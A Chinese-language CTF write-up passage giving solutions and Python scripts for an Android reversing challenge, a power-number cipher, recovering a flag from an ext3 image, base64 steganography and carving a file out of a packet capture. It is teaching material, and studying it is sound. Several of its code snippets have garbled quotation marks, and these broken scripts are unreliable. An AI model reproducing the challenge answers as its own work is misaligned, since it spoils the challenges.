= input ("Please enter a string that needs to be decrypted: \n" ) My_base64_decode(input_str)
运行结果:
1 2 3 4 5 6 7 8 9 10 ************************************* * (1)encode (2)decode * ************************************* Please select the operation you want to perform: 2 Please enter a string that needs to be decrypted: QAoOQMPFks1BsB7cbM3TQsXg30i9g3== Decrypted String: flag{实践出真知这不是flag}
easyjava [collapse title=”展开查看详情” status=”false”]
考点:手撕算法
部分函数名已重命名,懒得再找一份原题QAQ
开门见山,mainactivity 就能找到加密算法入口。函数将输入值剔除flag{}
,然后传入加密函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private static Boolean b (String string) { Boolean result; int index = 0 ; if (!string.startsWith("flag{" )) { result = Boolean.valueOf(false ); } else if (!string.endsWith("}" )) { result = Boolean.valueOf(false ); } else { String string_1 = string.substring(5 , string.length() - 1 ); Mb v4 = new Mb(Integer.valueOf(2 )); Ma v5 = new Ma(Integer.valueOf(3 )); StringBuilder c_string = new StringBuilder(); int v1 = 0 ; while (index < string_1.length()) { c_string.append(MainActivity.a(string_1.charAt(index) + "" , v4, v5)); Integer v6 = Integer.valueOf(v4.b().intValue() / 25 ); if (v6.intValue() > v1 && v6.intValue() >= 1 ) { ++v1; } ++index; } result = Boolean.valueOf(c_string.toString().equals("wigwrkaugala" )); } return result; }
加密函数有两层最后调用为:
1 2 3 private static char a (String string, Mb b, Ma a) { return a.a(b.a(string)); }
a b 加密逻辑大致一样,处理对象都是单字符,进行混淆后,对密钥进行更新。
b 加密函数主要如下:(忽略处理空格和字符不存在情况)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Mb.key_list = "abcdefghijklmnopqrstuvwxyz" ; public Integer a (String string) { int v0 = 0 ; Integer v1 = Integer.valueOf(0 ); if (Mb.key_list.contains(string.toLowerCase())) { Integer index = Integer.valueOf(Mb.key_list.indexOf(string)); while (v0 < Mb.a_ArrayList.size() - 1 ) { if (Mb.a_ArrayList.get(v0) == index) { v1 = Integer.valueOf(v0); } ++v0; } } ………… Mb.a(); return v1; }
加密操作为:检索字符在keylisit
的下标,记为index
,然后检索index
在a_ArrayList
的下标,记为v1
,检索成功就调用Mb.a()
生成新的密钥keylist
和a_ArrayList
,然后返回v1
。
a_ArrayList
不是一个静态变量,是经由public Mb(Integer arg9)
生成的,一开始以为动态生成的,然后动态调试了一下,发现是第一次调用时生成好了,后续字符加密沿用上一字符密钥。生成的偏移为 2 。
Mb.a()
处理逻辑就是:每一轮加密完成后,将两个密钥的首元素放置到最后一位。
1 2 3 4 5 6 7 8 public static void a () { int v0 = Mb.a_ArrayList.get(0 ).intValue(); Mb.a_ArrayList.remove(0 ); Mb.a_ArrayList.add(Integer.valueOf(v0)); Mb.key_list = Mb.key_list + "" + Mb.key_list.charAt(0 ); Mb.key_list = Mb.key_list.substring(1 , 27 ); Mb.d = Integer.valueOf(Mb.d.intValue() + 1 ); }
a.a(b.a(string))
b 函数加密完成后,返回值作为参数传入 a ,加密方式与 b 相近,较大不同点是每轮加密不会随机化密钥,密钥初始偏移为 3 。因为从最后判断函数可知 flag 中间字符为 12 位,不足以触发 a 随机化密钥函数要求。
解密EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from collections import deque alpha = deque("abcdefghijklmnopqrstuvwxyz" ) key_b = deque([17 , 23 , 7 , 22 , 1 , 16 , 6 , 9 , 21 , 0 , 15 , 5 , 10 , 18 , 2 , 24 , 4 , 11 , 3 , 14 , 19 , 12 , 20 , 13 , 8 , 25 ]) key_a = deque([21 , 4 , 24 , 25 , 20 , 5 , 15 , 9 , 17 , 6 , 13 , 3 , 18 , 12 , 10 , 19 , 0 , 22 , 2 , 11 , 23 , 1 , 8 , 7 , 14 , 16 ]) c = 'wigwrkaugala' def decode (s ): i = key_a[(ord (s) - ord ('a' ))] i = key_b[(i)] print(alpha[i], end='' ) key_b.append(key_b.popleft()) alpha.append(alpha.popleft()) print("flag{" ,end='' ) for s in c: decode(s)print("}" )
提交 flag 后看评论区好像题目有多解。
[/collapse]
Crypto 幂数加密 [collapse title=”展开查看详情” status=”false”]
给出文本:8842101220480224404014224202480122
。查看资料后,得出 0 是分解符。分界后各个数字相加后 -1 为与 A 的 ascii 码偏移。(ps:怎么感觉有点像是 8421 码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 c = ';8842101220480224404014224202480122' ; def decode (c ): c = c.split(';0' ;) print(c) for i in c: a = 0 for j in i: a += int (j) print(chr (a+ord (';A' ;)-1 ),end=';' ;) if __name__ == ';__main__' ;: decode(c)
[/collapse]
Misc ext3 [collapse title=”展开查看详情” status=”false”]
题目提示是 Linux 系统镜像,首先反应是内存取证,然后使用 volatility 无法挂载。于是另寻方法,发现使用 IDA 32 位能成功打开,然后是查找字符串 shift+f12 ,因为内存镜像中的字符串也是可以被 IDA 读取的。加载字符串后,搜索 flag 发现 flag.txt 文件地址: O7avZhikgKgbF/flag.txt 。
然后就是怎么提取文件,正常情况下是用 volatility dump 命令,问题是现在加载不了。我采取用将其挂载到 Linux 虚拟机上。
1 2 3 4 5 6 7 #创建挂载文件夹 mkdir ext3 #挂载 mount f1fc23f5c743425d9e0073887c846d23 ext3 #取消挂载 #umount ext3 cat O7avZhikgKgbF/flag.txt
当然也可以不用 IDA 分析,直接挂载后搜索 find / -name flag.txt
[/collapse]
base64stego [collapse title=”展开查看详情” status=”false”]
base64 隐写题目。隐写原理来自tr0y :
隐写原理 注意红色的 0, 我们在解码的时候将其丢弃了, 所以这里的值不会影响解码. 所以我们可以在这进行隐写. 为什么等号的那部分 0 不能用于隐写? 因为修改那里的二进制值会导致等号数量变化, 解码的第 1 步会受影响. 自然也就破坏了源字符串. 而红色部分的 0 是作为最后一个字符二进制的组成部分, 还原时只用到了最后一个字符二进制的前部分, 后面的部分就不会影响还原. 唯一的影响就是最后一个字符会变化. 如下图
如果你直接解密’VHIweQ==’与’VHIweR==’, 得到的结果都是’Tr0y’.
当然, 一行 base64 顶多能有 2 个等号, 也就是有 2*2 位的可隐写位. 所以我们得弄很多行, 才能隐藏一个字符串, 这也是为什么题目给了一大段 base64 的原因. 接下来, 把要隐藏的 flag 转为 8 位二进制, 塞进去就行了.
加密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import base64flag = ';Tr0y{Base64isF4n}' ; bin_str = ';' ;.join([bin (ord (c)).replace(';0b' ;, ';' ;).zfill(8 ) for c in flag]) base64chars = ';ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' ; with open (';0.txt' ;, ';rb' ;) as f0, open (';1.txt' ;, ';wb' ;) as f1: for line in f0.readlines(): rowstr = base64.b64encode(line.replace(';\n' ;, ';' ;)) equalnum = rowstr.count(';=' ;) if equalnum and len (bin_str): offset = int (';0b' ;+bin_str[:equalnum * 2 ], 2 ) char = rowstr[len (rowstr) - equalnum - 1 ] rowstr = rowstr.replace(char, base64chars[base64chars.index(char) + offset]) bin_str = bin_str[equalnum*2 :] f1.write(rowstr + ';\n' ;)
解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 b64chars = ';ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' ; with open (';1.txt' ;, ';rb' ;) as f: bin_str = ';' ; for line in f.readlines(): stegb64 = ';' ;.join(line.split()) rowb64 = ';' ;.join(stegb64.decode(';base64' ;).encode(';base64' ;).split()) offset = abs (b64chars.index(stegb64.replace(';=' ;,';' ;)[-1 ])-b64chars.index(rowb64.replace(';=' ;,';' ;)[-1 ])) equalnum = stegb64.count(';=' ;) if equalnum: bin_str += bin (offset)[2 :].zfill(equalnum * 2 ) print ';' ;.join([chr (int (bin_str[i:i + 8 ], 2 )) for i in xrange(0 , len (bin_str), 8 )])
[/collapse]
功夫再高也怕菜刀 [collapse title=”展开查看详情” status=”false”]
分组字节流查询字符串 flag.txt 发现有结果
将流量包用 foremost 分析出压缩包 00002778.zip ,需密码才能解压 flag.txt ,继续查询流量,发现有 6666.jpg
右键跟踪 tcp 流量,点击 save as 保存数据,用文本编辑器打开,将 FFD8 jpg 文件头前数据删除,以及最后一个 FFD9 后面数据删除,全选复制。
用 winhex 或者 010editor 新建一个空白文件,以 ascii-hex 写入数据,并保存为 jpg ,获得解压密码。
[/collapse]